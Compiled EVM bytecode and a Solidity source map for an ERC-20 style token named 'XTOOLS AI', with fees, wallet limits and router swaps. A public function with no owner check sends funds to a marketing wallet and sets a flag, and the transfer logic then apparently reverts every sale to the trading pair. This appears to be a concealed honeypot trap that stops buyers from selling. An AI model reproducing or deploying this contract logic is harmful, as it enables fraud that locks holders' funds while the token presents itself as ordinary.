0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610349578063a8aa1b3114610375578063a9059cbb14610394578063be3bd137146103b3578063dd62ed3e146103d2578063f2fde38b14610416575f80fd5b8063715018a6146102c657806378109e54146102da5780637cca52fe146102ef5780637d1db4a514610304578063893d20e814610319575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e0146102455780635cebad081461027357806370a0823114610292575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600981526858544f4f4c5320414960b81b60208201525b60405161016e9190611406565b60405180910390f35b348015610182575f80fd5b50610196610191366004611469565b610435565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044b565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611493565b6104bb565b3480156101f2575f80fd5b506101fb610523565b005b348015610208575f80fd5b506101966102173660046114d1565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046114d1565b60046020525f908152604090205460ff1681565b34801561027e575f80fd5b506101fb61028d366004611469565b61056a565b34801561029d575f80fd5b506101ba6102ac3660046114d1565b6001600160a01b03165f9081526002602052604090205490565b3480156102d1575f80fd5b506101fb610677565b3480156102e5575f80fd5b506101ba601a5481565b3480156102fa575f80fd5b506101ba60195481565b34801561030f575f80fd5b506101ba60185481565b348015610324575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b348015610354575f80fd5b506040805180820190915260048152635854414960e01b6020820152610161565b348015610380575f80fd5b50600654610331906001600160a01b031681565b34801561039f575f80fd5b506101966103ae366004611469565b6106ab565b3480156103be575f80fd5b506101fb6103cd3660046114f9565b6106b7565b3480156103dd575f80fd5b506101ba6103ec366004611530565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101fb6104303660046114d1565b61070a565b5f610441338484610786565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104b69290916104b091906108a9565b906108a9565b905090565b5f6104c78484846108b4565b6105188433610513856040518060600160405280602881526020016116ea602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df0565b610786565b5060015b9392505050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c9061155c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6040516370a0823160e01b81523060048201525f906105eb906064906105e59085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156105bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105df919061157c565b90610e1b565b90610e26565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af115801561063d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106619190611593565b50506011805463ffffffff191660021790555050565b5f546001600160a01b031633146106a05760405162461bcd60e51b815260040161054c9061155c565b6106a95f61070a565b565b5f6104413384846108b4565b5f546001600160a01b031633146106e05760405162461bcd60e51b815260040161054c9061155c565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107335760405162461bcd60e51b815260040161054c9061155c565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166107e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051c82846115c2565b6001600160a01b0383166109185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b03821661097a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b6001600160a01b0383165f908152600260205260409020548111156109fb5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a3b57506001600160a01b0382165f9081526004602052604090205460ff16155b15610a8a57600654600160a01b900460ff16610a8a5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b604482015260640161054c565b6001600160a01b0383165f9081526004602052604090205460ff16158015610aca57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610ae457506006546001600160a01b03838116911614155b8015610afb57506001600160a01b03821661dead14155b15610b7357601a546001600160a01b0383165f90815260026020526040902054610b259083610e31565b1115610b735760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054c565b6006546001600160a01b03848116911614610c125760195481111580610bb057506001600160a01b0383165f9081526004602052604090205460ff165b80610bd257506001600160a01b0382165f9081526004602052604090205460ff165b610c125760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b60185481111580610c3a57506001600160a01b0383165f9081526004602052604090205460ff165b80610c5c57506001600160a01b0382165f9081526004602052604090205460ff165b610c9c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b6006546001600160a01b038381169116148015610cd157506001600160a01b0383165f9081526004602052604090205460ff16155b15610cee57600160075f828254610ce891906115d5565b90915550505b610cf9838383610e3c565b15610d0e57610d09600a54610ef4565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d3090826108a9565b6001600160a01b0384165f90815260026020526040812091909155610d558484611064565b610d5f5781610d6a565b610d6a8484846110a8565b6001600160a01b0384165f90815260026020526040902054909150610d8f9082610e31565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de29085815260200190565b60405180910390a350505050565b5f8184841115610e135760405162461bcd60e51b815260040161054c9190611406565b505050900390565b5f61051c82846115e8565b5f61051c82846115ff565b5f61051c82846115d5565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610e765750600654600160a81b900460ff165b8015610e8b5750600654600160a01b900460ff165b8015610e945750815b8015610eb857506001600160a01b0386165f9081526004602052604090205460ff16155b8015610ed157506006546001600160a01b038681169116145b8015610ee1575060095460075410155b8015610eea5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c545f93610f2d936002936105df939192610f27928391610e31565b90610e31565b90505f610f49826105e5600c5486610e1b90919063ffffffff16565b90505f610f5684836108a9565b905047610f62826111aa565b5f610f6d47836108a9565b90505f610f8f610f88600c54886108a990919063ffffffff16565b8390610e26565b90505f610fa7600c5483610e1b90919063ffffffff16565b90508015610fb957610fb986826112fa565b600d545f90610fcd906105df856002610e1b565b9050801561100e576016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100c573d5f803e3d5ffd5b505b47801561104e576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561104c573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff1615801561051c5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f806110b485856113ab565b11156111a3575f6110d66110c886866113ab565b6014546105df908690610e26565b305f908152600260205260409020549091506110f29082610e31565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35f600f541180156111655750600f5461116386866113ab565b115b15611191576111913061dead61118c600f546105df60145489610e2690919063ffffffff16565b6108b4565b61119b83826108a9565b91505061051c565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111dd576111dd61161e565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611234573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112589190611632565b8160018151811061126b5761126b61161e565b6001600160a01b0392831660209182029290920101526005546112919130911684610786565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c99085905f9086903090429060040161164d565b5f604051808303815f87803b1580156112e0575f80fd5b505af11580156112f2573d5f803e3d5ffd5b505050505050565b6005546113129030906001600160a01b031684610786565b60055460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561137f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113a491906116be565b5050505050565b6006545f906001600160a01b03908116908316036113dd5760115460030b6002036113d4575f80fd5b50601254610445565b6006546001600160a01b03908116908416036113fc5750601054610445565b5060135492915050565b5f602080835283518060208501525f5b8181101561143257858101830151858201604001528201611416565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611466575f80fd5b50565b5f806040838503121561147a575f80fd5b823561148581611452565b946020939093013593505050565b5f805f606084860312156114a5575f80fd5b83356114b081611452565b925060208401356114c081611452565b929592945050506040919091013590565b5f602082840312156114e1575f80fd5b813561051c81611452565b8015158114611466575f80fd5b5f806040838503121561150a575f80fd5b823561151581611452565b91506020830135611525816114ec565b809150509250929050565b5f8060408385031215611541575f80fd5b823561154c81611452565b9150602083013561152581611452565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f6020828403121561158c575f80fd5b5051919050565b5f602082840312156115a3575f80fd5b815161051c816114ec565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610445576104456115ae565b80820180821115610445576104456115ae565b8082028115828204841417610445576104456115ae565b5f8261161957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611642575f80fd5b815161051c81611452565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561169d5784516001600160a01b031683529383019391830191600101611678565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d0575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0a73b865d41787ec2bd01c0f5bd36f86290d2377e2395cc7f9d273c2a21844b64736f6c63430008160033

4898:9307:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7329:67;;;;;;;;;;-1:-1:-1;7389:5:0;;;;;;;;;;;;-1:-1:-1;;;7389:5:0;;;;7329:67;;;;;;;:::i;:::-;;;;;;;;8213:133;;;;;;;;;;-1:-1:-1;8213:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8213:133:0;1023:187:1;8352:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8352:132:0;1215:177:1;13548:309:0;;;;;;;;;;-1:-1:-1;13548:309:0;;;;;:::i;:::-;;:::i;7552:67::-;;;;;;;;;;;;;:::i;:::-;;3724:87;;;;;;;;;;-1:-1:-1;3724:87:0;;;;;:::i;:::-;3779:4;3804:5;-1:-1:-1;;;;;3793:16:0;;;3804:5;;3793:16;;3724:87;7479:67;;;;;;;;;;-1:-1:-1;7479:67:0;;5123:1;2252:36:1;;2240:2;2225:18;7479:67:0;2110:184:1;5321:44:0;;;;;;;;;;-1:-1:-1;5321:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8903:262;;;;;;;;;;-1:-1:-1;8903:262:0;;;;;:::i;:::-;;:::i;7709:103::-;;;;;;;;;;-1:-1:-1;7709:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7792:18:0;7775:7;7792:18;;;:9;:18;;;;;;;7709:103;3926:80;;;;;;;;;;;;;:::i;6614:61::-;;;;;;;;;;;;;;;;6547:60;;;;;;;;;;;;;;;;6483:57;;;;;;;;;;;;;;;;7625:78;;;;;;;;;;-1:-1:-1;7677:7:0;7695:5;-1:-1:-1;;;;;7695:5:0;7625:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7625:78:0;2299:203:1;7402:71:0;;;;;;;;;;-1:-1:-1;7464:7:0;;;;;;;;;;;;-1:-1:-1;;;7464:7:0;;;;7402:71;;5393:19;;;;;;;;;;-1:-1:-1;5393:19:0;;;;-1:-1:-1;;;;;5393:19:0;;;7818:139;;;;;;;;;;-1:-1:-1;7818:139:0;;;;;:::i;:::-;;:::i;8096:111::-;;;;;;;;;;-1:-1:-1;8096:111:0;;;;;:::i;:::-;;:::i;7963:127::-;;;;;;;;;;-1:-1:-1;7963:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8061:18:0;;;8044:7;8061:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7963:127;3817:103;;;;;;;;;;-1:-1:-1;3817:103:0;;;;;:::i;:::-;;:::i;8213:133::-;8288:4;8295:37;8304:10;8316:7;8325:6;8295:8;:37::i;:::-;-1:-1:-1;8340:4:0;8213:133;;;;;:::o;8352:132::-;7792:9;:18;;;;6170:42;8405:7;7792:18;;;;;8422:12;;8405:7;;8422:60;;7792:18;;8422:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8415:67;;8352:132;:::o;13548:309::-;13646:4;13663:36;13673:6;13681:9;13692:6;13663:9;:36::i;:::-;13710:117;13719:6;13727:10;13739:87;13775:6;13739:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13739:19:0;;;;;;:11;:19;;;;;;;;13759:10;13739:31;;;;;;;;;:87;:35;:87::i;:::-;13710:8;:117::i;:::-;-1:-1:-1;13845:4:0;13548:309;;;;;;:::o;7552:67::-;3779:4;3804:5;-1:-1:-1;;;;;3804:5:0;3691:10;3793:16;3675:38;;;;-1:-1:-1;;;3675:38:0;;;;;;;:::i;:::-;;;;;;;;;7596:14:::1;:21:::0;;-1:-1:-1;;;;7596:21:0::1;-1:-1:-1::0;;;7596:21:0::1;::::0;;7552:67::o;8903:262::-;9002:41;;-1:-1:-1;;;9002:41:0;;9037:4;9002:41;;;2445:51:1;8984:15:0;;9002:63;;9061:3;;9002:54;;9048:7;;-1:-1:-1;;;;;9002:26:0;;;;;2418:18:1;;9002:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;9102:20;;9076:56;;-1:-1:-1;;;9076:56:0;;-1:-1:-1;;;;;9102:20:0;;;9076:56;;;4107:51:1;4174:18;;;4167:34;;;8984:81:0;;-1:-1:-1;9076:25:0;;;;;4080:18:1;;9076:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;9143:10:0;:14;;-1:-1:-1;;9143:14:0;9156:1;9143:14;;;-1:-1:-1;;8903:262:0:o;3926:80::-;3779:4;3804:5;-1:-1:-1;;;;;3804:5:0;3691:10;3793:16;3675:38;;;;-1:-1:-1;;;3675:38:0;;;;;;;:::i;:::-;3975:29:::1;4001:1;3975:17;:29::i;:::-;3926:80::o:0;7818:139::-;7896:4;7903:40;7913:10;7925:9;7936:6;7903:9;:40::i;8096:111::-;3779:4;3804:5;-1:-1:-1;;;;;3804:5:0;3691:10;3793:16;3675:38;;;;-1:-1:-1;;;3675:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8173:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8173:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8096:111::o;3817:103::-;3779:4;3804:5;-1:-1:-1;;;;;3804:5:0;3691:10;3793:16;3675:38;;;;-1:-1:-1;;;3675:38:0;;;;;;;:::i;:::-;3875:5:::1;:11:::0;;-1:-1:-1;;;;;;3875:11:0::1;-1:-1:-1::0;;;;;3875:11:0;::::1;::::0;;::::1;::::0;;;3893:25:::1;::::0;2445:51:1;;;3893:25:0::1;::::0;2433:2:1;2418:18;3893:25:0::1;;;;;;;3817:103:::0;:::o;13865:335::-;-1:-1:-1;;;;;13958:19:0;;13950:68;;;;-1:-1:-1;;;13950:68:0;;4664:2:1;13950:68:0;;;4646:21:1;4703:2;4683:18;;;4676:30;4742:34;4722:18;;;4715:62;-1:-1:-1;;;4793:18:1;;;4786:34;4837:19;;13950:68:0;4462:400:1;13950:68:0;-1:-1:-1;;;;;14037:21:0;;14029:68;;;;-1:-1:-1;;;14029:68:0;;5069:2:1;14029:68:0;;;5051:21:1;5108:2;5088:18;;;5081:30;5147:34;5127:18;;;5120:62;-1:-1:-1;;;5198:18:1;;;5191:32;5240:19;;14029:68:0;4867:398:1;14029:68:0;-1:-1:-1;;;;;14108:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14160:32;;1361:25:1;;;14160:32:0;;1334:18:1;14160:32:0;;;;;;;13865:335;;;:::o;1463:98::-;1521:7;1548:5;1552:1;1548;:5;:::i;12107:1433::-;-1:-1:-1;;;;;12204:20:0;;12196:70;;;;-1:-1:-1;;;12196:70:0;;5737:2:1;12196:70:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:35;5911:19;;12196:70:0;5535:401:1;12196:70:0;-1:-1:-1;;;;;12285:23:0;;12277:71;;;;-1:-1:-1;;;12277:71:0;;6143:2:1;12277:71:0;;;6125:21:1;6182:2;6162:18;;;6155:30;6221:34;6201:18;;;6194:62;-1:-1:-1;;;6272:18:1;;;6265:33;6315:19;;12277:71:0;5941:399:1;12277:71:0;-1:-1:-1;;;;;7792:18:0;;7775:7;7792:18;;;:9;:18;;;;;;12367:6;:27;;12359:88;;;;-1:-1:-1;;;12359:88:0;;6547:2:1;12359:88:0;;;6529:21:1;6586:2;6566:18;;;6559:30;6625:34;6605:18;;;6598:62;-1:-1:-1;;;6676:18:1;;;6669:47;6733:19;;12359:88:0;6345:413:1;12359:88:0;-1:-1:-1;;;;;12462:19:0;;;;;;:11;:19;;;;;;;;12461:20;:47;;;;-1:-1:-1;;;;;;12486:22:0;;;;;;:11;:22;;;;;;;;12485:23;12461:47;12458:95;;;12518:14;;-1:-1:-1;;;12518:14:0;;;;12510:41;;;;-1:-1:-1;;;12510:41:0;;6965:2:1;12510:41:0;;;6947:21:1;7004:2;6984:18;;;6977:30;-1:-1:-1;;;7023:18:1;;;7016:44;7077:18;;12510:41:0;6763:338:1;12510:41:0;-1:-1:-1;;;;;12567:19:0;;;;;;:11;:19;;;;;;;;12566:20;:47;;;;-1:-1:-1;;;;;;12591:22:0;;;;;;:11;:22;;;;;;;;12590:23;12566:47;:77;;;;-1:-1:-1;12638:4:0;;-1:-1:-1;;;;;12617:26:0;;;12638:4;;12617:26;;12566:77;:107;;;;-1:-1:-1;;;;;;12647:26:0;;6170:42;12647:26;;12566:107;12563:220;;;12731:15;;-1:-1:-1;;;;;12694:20:0;;;;;;:9;:20;;;;;;:32;;12719:6;12694:24;:32::i;:::-;12693:53;;12685:96;;;;-1:-1:-1;;;12685:96:0;;7308:2:1;12685:96:0;;;7290:21:1;7347:2;7327:18;;;7320:30;7386:32;7366:18;;;7359:60;7436:18;;12685:96:0;7106:354:1;12685:96:0;12806:4;;-1:-1:-1;;;;;12796:14:0;;;12806:4;;12796:14;12793:124;;12830:14;;12820:6;:24;;:47;;;-1:-1:-1;;;;;;12848:19:0;;;;;;:11;:19;;;;;;;;12820:47;:73;;;-1:-1:-1;;;;;;12871:22:0;;;;;;:11;:22;;;;;;;;12820:73;12812:103;;;;-1:-1:-1;;;12812:103:0;;7667:2:1;12812:103:0;;;7649:21:1;7706:2;7686:18;;;7679:30;-1:-1:-1;;;7725:18:1;;;7718:47;7782:18;;12812:103:0;7465:341:1;12812:103:0;12945:12;;12935:6;:22;;:45;;;-1:-1:-1;;;;;;12961:19:0;;;;;;:11;:19;;;;;;;;12935:45;:71;;;-1:-1:-1;;;;;;12984:22:0;;;;;;:11;:22;;;;;;;;12935:71;12927:101;;;;-1:-1:-1;;;12927:101:0;;7667:2:1;12927:101:0;;;7649:21:1;7706:2;7686:18;;;7679:30;-1:-1:-1;;;7725:18:1;;;7718:47;7782:18;;12927:101:0;7465:341:1;12927:101:0;13056:4;;-1:-1:-1;;;;;13043:17:0;;;13056:4;;13043:17;:41;;;;-1:-1:-1;;;;;;13065:19:0;;;;;;:11;:19;;;;;;;;13064:20;13043:41;13040:71;;;13107:1;13086:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;13040:71:0;13124:45;13143:6;13151:9;13162:6;13124:18;:45::i;:::-;13121:105;;;13171:29;13186:13;;13171:14;:29::i;:::-;13222:1;13202:9;:22;13121:105;-1:-1:-1;;;;;13256:17:0;;;;;;:9;:17;;;;;;:29;;13278:6;13256:21;:29::i;:::-;-1:-1:-1;;;;;13236:17:0;;;;;;:9;:17;;;;;:49;;;;13321:32;13246:6;13343:9;13321:13;:32::i;:::-;:78;;13393:6;13321:78;;;13356:34;13364:6;13372:9;13383:6;13356:7;:34::i;:::-;-1:-1:-1;;;;;13433:20:0;;;;;;:9;:20;;;;;;13296:103;;-1:-1:-1;13433:40:0;;13296:103;13433:24;:40::i;:::-;-1:-1:-1;;;;;13410:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13489:43;;;;;;;;;;13517:14;1361:25:1;;1349:2;1334:18;;1215:177;13489:43:0;;;;;;;;12185:1355;12107:1433;;;:::o;1887:240::-;2007:7;2068:12;2060:6;;;;2052:29;;;;-1:-1:-1;;;2052:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2103:5:0;;;1887:240::o;1569:98::-;1627:7;1654:5;1658:1;1654;:5;:::i;1675:98::-;1733:7;1760:5;1764:1;1760;:5;:::i;1357:98::-;1415:7;1442:5;1446:1;1442;:5;:::i;8492:403::-;8637:14;;8712:13;;8702:4;8594;7792:18;;;:9;:18;;;;;;8744:8;;8594:4;;8627:24;;;;-1:-1:-1;8684:41:0;;8744:8;;8743:9;:24;;;;-1:-1:-1;8756:11:0;;-1:-1:-1;;;8756:11:0;;;;8743:24;:42;;;;-1:-1:-1;8771:14:0;;-1:-1:-1;;;8771:14:0;;;;8743:42;:54;;;;;8789:8;8743:54;:78;;;;-1:-1:-1;;;;;;8802:19:0;;;;;;:11;:19;;;;;;;;8801:20;8743:78;:99;;;;-1:-1:-1;8838:4:0;;-1:-1:-1;;;;;8825:17:0;;;8838:4;;8825:17;8743:99;:126;;;;;8859:10;;8846:9;;:23;;8743:126;:144;;;;;8873:14;8743:144;8736:151;8492:403;-1:-1:-1;;;;;;8492:403:0:o;9173:1063::-;5750:8;:15;;-1:-1:-1;;5750:15:0;5761:4;5750:15;;;;;;9310:14:::1;::::0;9292:12:::1;::::0;9268::::1;::::0;5750:8;;9267:66:::1;::::0;9331:1:::1;::::0;9268:57:::1;::::0;9310:14;;9268:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;9267:66::-;9244:89;;9344:32;9379:42;9408:12;9379:24;9390:12;;9379:6;:10;;:24;;;;:::i;:42::-;9344:77:::0;-1:-1:-1;9432:14:0::1;9449:36;:6:::0;9344:77;9449:10:::1;:36::i;:::-;9432:53:::0;-1:-1:-1;9521:21:0::1;9553:24;9432:53:::0;9553:16:::1;:24::i;:::-;9588:20;9611:41;:21;9637:14:::0;9611:25:::1;:41::i;:::-;9588:64;;9663:19;9684:48;9701:30;9718:12;;9701;:16;;:30;;;;:::i;:::-;9684:12:::0;;:16:::1;:48::i;:::-;9663:69;;9743:29;9775;9791:12;;9775:11;:15;;:29;;;;:::i;:::-;9743:61:::0;-1:-1:-1;9818:34:0;;9815:103:::1;;9854:61;9867:24;9893:21;9854:12;:61::i;:::-;9974:12;::::0;9928:20:::1;::::0;9951:36:::1;::::0;:18:::1;:11:::0;9967:1:::1;9951:15;:18::i;:36::-;9928:59:::0;-1:-1:-1;10001:16:0;;9998:73:::1;;10027:18;::::0;10019:50:::1;::::0;-1:-1:-1;;;;;10027:18:0;;::::1;::::0;10019:50;::::1;;;::::0;10056:12;;10027:18:::1;10019:50:::0;10027:18;10019:50;10056:12;10027:18;10019:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9998:73;10107:21;10142:28:::0;;10139:90:::1;;10180:20;::::0;10172:55:::1;::::0;-1:-1:-1;;;;;10180:20:0;;::::1;::::0;10172:55;::::1;;;::::0;10211:15;;10180:20:::1;10172:55:::0;10180:20;10172:55;10211:15;10180:20;10172:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10139:90;-1:-1:-1::0;;5770:8:0;:16;;-1:-1:-1;;5770:16:0;;;-1:-1:-1;;;;;;;;9173:1063:0:o;11037:160::-;-1:-1:-1;;;;;11143:19:0;;11118:4;11143:19;;;:11;:19;;;;;;;;11142:20;:47;;;;-1:-1:-1;;;;;;;11167:22:0;;;;;:11;:22;;;;;;;;11166:23;;11037:160;-1:-1:-1;11037:160:0:o;11509:590::-;11595:7;11651:1;11618:30;11630:6;11638:9;11618:11;:30::i;:::-;:34;11615:462;;;11664:17;11684:59;11712:30;11724:6;11732:9;11712:11;:30::i;:::-;11695:11;;11684:23;;:6;;:10;:23::i;:59::-;11799:4;11781:24;;;;:9;:24;;;;;;11664:79;;-1:-1:-1;11781:39:0;;11664:79;11781:28;:39::i;:::-;11772:4;11754:24;;;;:9;:24;;;;;;;:66;;;;11836:42;;-1:-1:-1;;;;;11836:42:0;;;;;;;11868:9;1361:25:1;;1349:2;1334:18;;1215:177;11836:42:0;;;;;;;;11910:1;11892:7;;:20;:64;;;;;11949:7;;11916:30;11928:6;11936:9;11916:11;:30::i;:::-;:40;11892:64;11889:148;;;11958:77;11976:4;6170:42;11998:36;12026:7;;11998:23;12009:11;;11998:6;:10;;:23;;;;:::i;:36::-;11958:9;:77::i;:::-;12054:21;:6;12065:9;12054:10;:21::i;:::-;12047:28;;;;;11615:462;-1:-1:-1;12085:6:0;11509:590;-1:-1:-1;;11509:590:0:o;10595:434::-;10685:16;;;10699:1;10685:16;;;;;;;;10661:21;;10685:16;;;;;;;;;;-1:-1:-1;10685:16:0;10661:40;;10730:4;10712;10717:1;10712:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10712:23:0;;;:7;;;;;;;;;;:23;;;;10756:6;;:13;;;-1:-1:-1;;;10756:13:0;;;;:6;;;;;:11;;:13;;;;;10712:7;;10756:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10746:4;10751:1;10746:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10746:23:0;;;:7;;;;;;;;;:23;10812:6;;10780:53;;10797:4;;10812:6;10821:11;10780:8;:53::i;:::-;10844:6;;:177;;-1:-1:-1;;;10844:177:0;;-1:-1:-1;;;;;10844:6:0;;;;:57;;:177;;10916:11;;10844:6;;10958:4;;10985;;11005:15;;10844:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10650:379;10595:434;:::o;10244:343::-;10357:6;;10325:53;;10342:4;;-1:-1:-1;;;;;10357:6:0;10366:11;10325:8;:53::i;:::-;10389:6;;10530:18;;10389:190;;-1:-1:-1;;;10389:190:0;;10452:4;10389:190;;;10182:34:1;10232:18;;;10225:34;;;10389:6:0;10275:18:1;;;10268:34;;;10318:18;;;10311:34;-1:-1:-1;;;;;10530:18:0;;;10361:19:1;;;10354:44;10563:15:0;10414:19:1;;;10407:35;10389:6:0;;;:22;;10419:9;;10116:19:1;;10389:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10244:343;;:::o;11205:296::-;11320:4;;11284:7;;-1:-1:-1;;;;;11320:4:0;;;11307:17;;;;11304:115;;11358:10;;;;11372:1;11358:15;11350:24;;;;;;-1:-1:-1;11396:7:0;;11389:14;;11304:115;11442:4;;-1:-1:-1;;;;;11442:4:0;;;11432:14;;;;11429:36;;-1:-1:-1;11455:8:0;;11448:15;;11429:36;-1:-1:-1;11482:11:0;;11205:296;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556